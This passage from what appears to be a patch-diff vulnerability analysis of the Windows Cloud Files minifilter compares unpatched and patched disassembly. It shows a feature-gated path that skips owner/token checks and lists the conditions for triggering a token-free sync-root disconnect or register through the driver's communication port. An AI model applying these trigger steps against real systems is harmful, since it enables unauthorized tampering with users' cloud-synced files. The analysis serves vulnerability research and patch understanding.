&lt;span class="c1"&gt;// CldSyncDisconnectRoot(a1, key, token, out): entry = lookup(key);&lt;/span&gt;
&lt;span class="c1"&gt;//     if (*entry == token) disconnect; else status = 0xc000cf0b;   // token enforced&lt;/span&gt;
&lt;span class="c1"&gt;// CldSyncDisconnectRootDeprecated(a1, key, out): entry = lookup(key);&lt;/span&gt;
&lt;span class="c1"&gt;//     if (entry) disconnect;                                        // no token check&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Finding 1: &lt;code&gt;CldSyncConnectRoot&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Owner/token check in the unpatched feature-enabled branch (&lt;code&gt;sub_1c0062cc0&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0062D27&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Feature_565656888__private_IsEnabledDeviceUsage&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0062D2C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0062D2E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_1C0062DE2&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;disabled&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;branch&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0062D34&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi+60h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;field&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0062D45&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;check&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0062D48&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C0062D70&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_CLOUD_FILE_NOT_IN_SYNC&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0062D4E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;check&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0062D51&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C0062D70&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0062D62&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;success&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;only&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;after&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;both&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;checks&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pass&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The feature-disabled branch performs the same validation and rejects a mismatch with the same status:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0062DE2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi+30h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;refcount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;keyed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;first&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0062DE7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jle&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;loc_1C0062E6E&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;refcount&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;create&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0062E01&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;comparison&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0062E04&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C0062E14&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0062E14&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;C000CF09h&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_CLOUD_FILE_NOT_IN_SYNC&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mismatch&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The patched &lt;code&gt;CldSyncConnectRoot&lt;/code&gt; at &lt;code&gt;0x1C0062BD0&lt;/code&gt; has no call to the feature toggle; its single path is the owner/token-validated branch above.&lt;/p&gt;
&lt;h3&gt;Finding 2: Feature-Gated Dispatcher Paths&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Unpatched &lt;code&gt;CldiPortProcessServiceCommands&lt;/code&gt; (&lt;code&gt;sub_1c0060514&lt;/code&gt;) register path:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00615B7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;CldSyncConnectRoot&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0061605&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Feature_565656888__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;register&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;gate&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0061630&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;CldiPortInsertSyncRootNoLock&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;enabled&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;val&lt;/span&gt;&lt;span class="n"&gt;idated&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;insert&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;disabled&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;branch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;insert&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="kr"&gt;to&lt;/span&gt;&lt;span class="n"&gt;ken&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0061677&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;68&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Tab&lt;/span&gt;&lt;span class="n"&gt;le&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;104&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;per&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006167B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_RtlInsertElementGenericTableAvl&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Unpatched disconnect path:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006187A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Feature_565656888__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;disconnect&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;gate&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0061886&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0061888&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C0061899&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0061892&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;CldSyncDisconnectRoot&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;enabled&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;to&lt;/span&gt;&lt;span class="n"&gt;ken&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;checked&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C006189D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;CldSyncDisconnectRootDeprecated&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;disabled&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;to&lt;/span&gt;&lt;span class="n"&gt;ken&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Patched &lt;code&gt;CldiPortProcessServiceCommands&lt;/code&gt; (&lt;code&gt;sub_1c00604e4&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0061579&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;CldSyncConnectRoot&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00615E3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;CldiPortInsertSyncRootNoLock&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unconditional&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;val&lt;/span&gt;&lt;span class="n"&gt;idated&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;insert&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00617D3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;CldSyncDisconnectRoot&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unconditional&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;to&lt;/span&gt;&lt;span class="n"&gt;ken&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;checked&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;disconnect&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The patched dispatcher contains no call to &lt;code&gt;Feature_565656888__private_IsEnabledDeviceUsage&lt;/code&gt;, no raw &lt;code&gt;RtlInsertElementGenericTableAvl&lt;/code&gt; on the register path, and no &lt;code&gt;CldSyncDisconnectRootDeprecated&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Gate &lt;code&gt;Feature_565656888__private_IsEnabledDeviceUsage&lt;/code&gt; (&lt;code&gt;sub_1c00097a4&lt;/code&gt;, WIL feature toggle):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00097AE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c0024780&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;global&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;descriptor&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00097B8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x10&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;present&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bit&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00097BC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;enabled&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bit&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00097CB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c00097dc&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Feature_565656888__private_IsEnabledFallback&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Open the Cloud Files minifilter communication port &lt;code&gt;\CLDMSGPORT&lt;/code&gt; with &lt;code&gt;FilterConnectCommunicationPort&lt;/code&gt;. The port is created (in &lt;code&gt;CldiPortStart&lt;/code&gt;) with the security descriptor built from SDDL &lt;code&gt;D:P(A;;GA;;;AU)&lt;/code&gt; via &lt;code&gt;SeSddlSecurityDescriptorFromSDDL&lt;/code&gt; and passed to &lt;code&gt;FltCreateCommunicationPort&lt;/code&gt;, so any authenticated user can connect and send messages.&lt;/li&gt;
&lt;li&gt;Send a &lt;code&gt;FilterSendMessage&lt;/code&gt; that routes to the sync-root register or disconnect operation in &lt;code&gt;CldiPortProcessServiceCommands&lt;/code&gt; (&lt;code&gt;sub_1C0060514&lt;/code&gt;). The message parses a &lt;code&gt;SrIn&lt;/code&gt; structure (magic &lt;code&gt;0x6E497253&lt;/code&gt;); its declared size (&lt;code&gt;*(arg3+0x2a)&lt;/code&gt;) must be &lt;code&gt;&amp;gt;= 0x18&lt;/code&gt; and pass CRC and entry-count validation, or it is rejected with &lt;code&gt;STATUS_INVALID_PARAMETER&lt;/code&gt; (&lt;code&gt;0xC000000D&lt;/code&gt;) in both binaries.&lt;/li&gt;
&lt;li&gt;The lookup key and token used by the register/disconnect operation are read from the message buffer, so both are attacker-supplied.&lt;/li&gt;
&lt;li&gt;On an unpatched build where &lt;code&gt;Feature_565656888&lt;/code&gt; is &lt;strong&gt;disabled&lt;/strong&gt;, the disconnect operation reaches &lt;code&gt;CldSyncDisconnectRootDeprecated&lt;/code&gt;, which disconnects the sync root matching the supplied key without checking the token, and the register operation reaches the raw &lt;code&gt;RtlInsertElementGenericTableAvl&lt;/code&gt; at &lt;code&gt;0x1C006167B&lt;/code&gt; without an owner/token check.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;h3&gt;Primitive: Token-Free Sync-Root Disconnect&lt;/h3&gt;
&lt;ul&gt;
